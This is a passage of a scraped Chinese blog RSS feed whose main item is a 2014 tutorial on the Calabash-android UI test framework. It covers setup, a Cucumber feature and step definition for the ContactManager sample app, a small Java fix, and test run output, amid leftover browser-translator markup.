url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421662.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:18 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421662.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>移动应用测试框架—Calabash Android 简介</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421660.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:15:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421660.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421660.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421660.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421660.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421660.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">什么是&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Calabash</strong></u></a>？</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Calabash 是一个<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">自动化</strong></u></a><u style="word-break: break-all; line-height: normal !important;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>框架</strong></u>，它可以测试&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>&nbsp;和 iOS 原生应用和混合应用。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　它有：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　calabash-android</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　calabash-ios</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　主页： http://calabash.sh</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　Calabash-android介绍</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Calabash-android 是支持 android 的 UI&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">自动化测试</strong></u></a>框架，PC 端使用了 cucumber 框架，通过 http 和 json 与模拟器和真机上安装的测试 apk 通信，测试 apk 调用 Robotium 的方法来进行 UI 自动化测试，支持 webview 操作。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Calabash-android 架构图</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50120" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171430401TgjS.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Features &#8212;&#8212; 这里的 feature 就是 cucumber 的 feature，用来描述 user stories 。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Step Definitions &#8212;&#8212; Calabash Android 事先已经定义了一些通用的 step。你可以根据自己的需求，定义更加复杂的步骤。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Your app &#8212;&#8212; 测试之前，你不必对你的应用修改。（这里其实是有问题，后面我们会说到。）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Instrumentation&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Test</strong></u></a>&nbsp;Server &#8212;&#8212; 这是一个应用，在运行测试的时候会被安装到设备中去。 这个应用是基于 Android SDK 里的 ActivityInstrumentationTestCase2。它是 Calabash Android 框架的一部分。Robotium 就集成在这个应用里。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　Calabash-android 环境搭建</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;"><a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">ruby</strong></u></a>&nbsp;环境</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　rvm</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　rbenv</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　RubyInstaller.org for windows</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Android 开发环境</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　JAVA</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Android SDK</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Ant</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　指定 JAVA 环境变量， Android SDK 环境变量（ANDROID_HOME）， Ant 加入到 PATH 中去。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　安装 Calabash-android</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　gem install calabash-android</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　sudo gem install calabash-android # 如果权限不够用这个。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如有疑问，请参考： https://github.com/calabash/calabash-android/blob/master/documentation/installation.md</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">创建 calabash-android 的骨架</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　calabash-android gen</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　会生成如下的目录结构：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　? &nbsp;calabash &nbsp;tree</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　features</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　|_support</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　| |_app_installation_hooks.rb</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　| |_app_life_cycle_hooks.rb</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　| |_env.rb</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　|_step_definitions</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　| |_calabash_steps.rb</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　|_my_first.feature<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">写测试用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　像一般的 cucumber 测试一样，我们只要在 feature 文件里添加测试用例即可。比如我们测试 ContactManager.apk （android sdk sample 里面的， Appium 也用这个 apk）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50121" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171430402hll7.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50122" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171430403Buo2.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　我们想实现，</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　打开这个应用</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　点击 Add Contact 按钮</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　添加 Contact Name 为 hello</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　添加 Contact Phone 为 13817861875</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　添加 Contact Email 为 hengwen@hotmail.com</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　保存<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　所以我们的 feature 应该是这样的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Feature: Login feature &nbsp;Scenario: As a valid user I can log into my app &nbsp; &nbsp;When I press "Add Contact"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Then I see "Target Account"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Then I enter "hello" into input field number 1 &nbsp; &nbsp;Then I enter "13817861875" into input field number 2 &nbsp; &nbsp;Then I enter "hengwen@hotmail.com" into input field number 3 &nbsp; &nbsp;When I press "Save"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Then I wait for 1 second &nbsp; &nbsp;Then I toggle checkbox number 1 &nbsp; &nbsp;Then I see "hello"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这里 input field number 就针对了 ContactAdder Activity 中输入框。我现在这样写其实不太友好，比较好的方式是进行再次封装，对 DSL 撰写者透明。比如：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">When I enter "hello" as "Contact Name"</div><div style="word-break: break-all; margin: 10px 0px;">step_definition</div><div style="word-break: break-all; margin: 10px 0px;">When (/^I enter "([^\"]*)" as "([^\"]*)"$/) do | text, target |</div><div style="word-break: break-all; margin: 10px 0px;">index = case target</div><div style="word-break: break-all; margin: 10px 0px;">when "Contact Name": 1</div><div style="word-break: break-all; margin: 10px 0px;">...</div><div style="word-break: break-all; margin: 10px 0px;">end</div><div style="word-break: break-all; margin: 10px 0px;">steps %{</div><div style="word-break: break-all; margin: 10px 0px;">Then I enter #{text} into input field number #{index}</div><div style="word-break: break-all; margin: 10px 0px;">}end</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这样 feature 可读性会强一点。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　运行 feature</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　在运行之前，我们对 apk 还是得处理下，否则会遇到一些问题。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　App did not start (RuntimeError)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　因为calabash-android的client和test server需要通信，所以要在 AndroidManifest.xml 中添加权限：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　&lt;uses-permission android:name="android.permission.INTERNET" /&gt;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　ContacterManager 代码本身的问题</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　由于 ContacerManager 运行时候，需要你一定要有一个账户，如果没有账户 Save 的时候会出错。为了便于运行，我们要修改下。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　源代码地址在 $ANDROID_HOME/samples/android-19/legacy/ContactManager，大家自己去找。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　需要修改 com.example.android.contactmanager.ContactAdder 类里面的 createContactEntry 方法，我们需要对 mSelectedAccount 进行判断， 修改地方如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">// Prepare contact creation request</div><div style="word-break: break-all; margin: 10px 0px;">//</div><div style="word-break: break-all; margin: 10px 0px;">// Note: We use RawContacts because this data must be associated with a particular account.</div><div style="word-break: break-all; margin: 10px 0px;">// &nbsp; &nbsp; &nbsp; The system will aggregate this with any other data for this contact and create a</div><div style="word-break: break-all; margin: 10px 0px;">// &nbsp; &nbsp; &nbsp; coresponding entry in the ContactsContract.Contacts provider for us.</div><div style="word-break: break-all; margin: 10px 0px;">ArrayList&lt;ContentProviderOperation&gt; ops = new ArrayList&lt;ContentProviderOperation&gt;();</div><div style="word-break: break-all; margin: 10px 0px;">if(mSelectedAccount != null ) {</div><div style="word-break: break-all; margin: 10px 0px;">ops.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)</div><div style="word-break: break-all; margin: 10px 0px;">.withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, mSelectedAccount.getType())</div><div style="word-break: break-all; margin: 10px 0px;">.withValue(ContactsContract.RawContacts.ACCOUNT_NAME, mSelectedAccount.getName())</div><div style="word-break: break-all; margin: 10px 0px;">.build());</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">ops.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)</div><div style="word-break: break-all; margin: 10px 0px;">.withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null)</div><div style="word-break: break-all; margin: 10px 0px;">.withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null)</div><div style="word-break: break-all; margin: 10px 0px;">.build());</div><div style="word-break: break-all; margin: 10px 0px;">}....</div><div style="word-break: break-all; margin: 10px 0px;">if (mSelectedAccount != null) {</div><div style="word-break: break-all; margin: 10px 0px;">// Ask the Contact provider to create a new contact</div><div style="word-break: break-all; margin: 10px 0px;">Log.i(TAG,"Selected account: " + mSelectedAccount.getName() + " (" +</div><div style="word-break: break-all; margin: 10px 0px;">mSelectedAccount.getType() + ")");</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">Log.i(TAG,"No selected account");</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　代码修改好之后，导出 apk 文件。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　运行很简单：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　calabash-android run &lt;apk&gt;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果遇到签名问题，请用： calabash-android resign apk。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　可以看看我运行的情况：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">? &nbsp;calabash &nbsp;calabash-android run ContactManager.apk</div><div style="word-break: break-all; margin: 10px 0px;">Feature: Login feature</div><div style="word-break: break-all; margin: 10px 0px;">Scenario: As a valid user I can log into my app &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# features/my_first.feature:33135 KB/s (556639 bytes in 0.173s)3315 KB/s (26234 bytes in 0.007s)</div><div style="word-break: break-all; margin: 10px 0px;">When I press "Add Contact" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # calabash-android-0.4.21/lib/calabash-android/steps/press_button_steps.rb:17</div><div style="word-break: break-all; margin: 10px 0px;">Then I see "Target Account" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# calabash-android-0.4.21/lib/calabash-android/steps/assert_steps.rb:5</div><div style="word-break: break-all; margin: 10px 0px;">Then I enter "hello" into input field number 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5</div><div style="word-break: break-all; margin: 10px 0px;">Then I enter "13817861875" into input field number 2 &nbsp; &nbsp; &nbsp; &nbsp; # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5</div><div style="word-break: break-all; margin: 10px 0px;">Then I enter "hengwen@hotmail.com" into input field number 3 # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5</div><div style="word-break: break-all; margin: 10px 0px;">When I press "Save" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# calabash-android-0.4.21/lib/calabash-android/steps/press_button_steps.rb:17</div><div style="word-break: break-all; margin: 10px 0px;">Then I wait for 1 second &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # calabash-android-0.4.21/lib/calabash-android/steps/progress_steps.rb:18</div><div style="word-break: break-all; margin: 10px 0px;">Then I toggle checkbox number 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# calabash-android-0.4.21/lib/calabash-android/steps/check_box_steps.rb:1</div><div style="word-break: break-all; margin: 10px 0px;">Then I see "hello" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # calabash-android-0.4.21/lib/calabash-android/steps/assert_steps.rb:51 scenario (1 passed)9 steps (9 passed)0m28.304s</div><div style="word-break: break-all; margin: 10px 0px;">All pass！</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50123" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171430404FEJC.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　大家看到 gif 是 failed，是因为在模拟器上运行的。而上面全部通过的是我在海信手机上运行的。环境不一样，略有差异。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">总结</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　本文是对 calabash-android 的一个简单介绍，做的是抛砖引玉的活。移动测试框架并非 Appium 一家，TesterHome 希望其他框架的话题也能热火起来。watch and learn！</div></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" 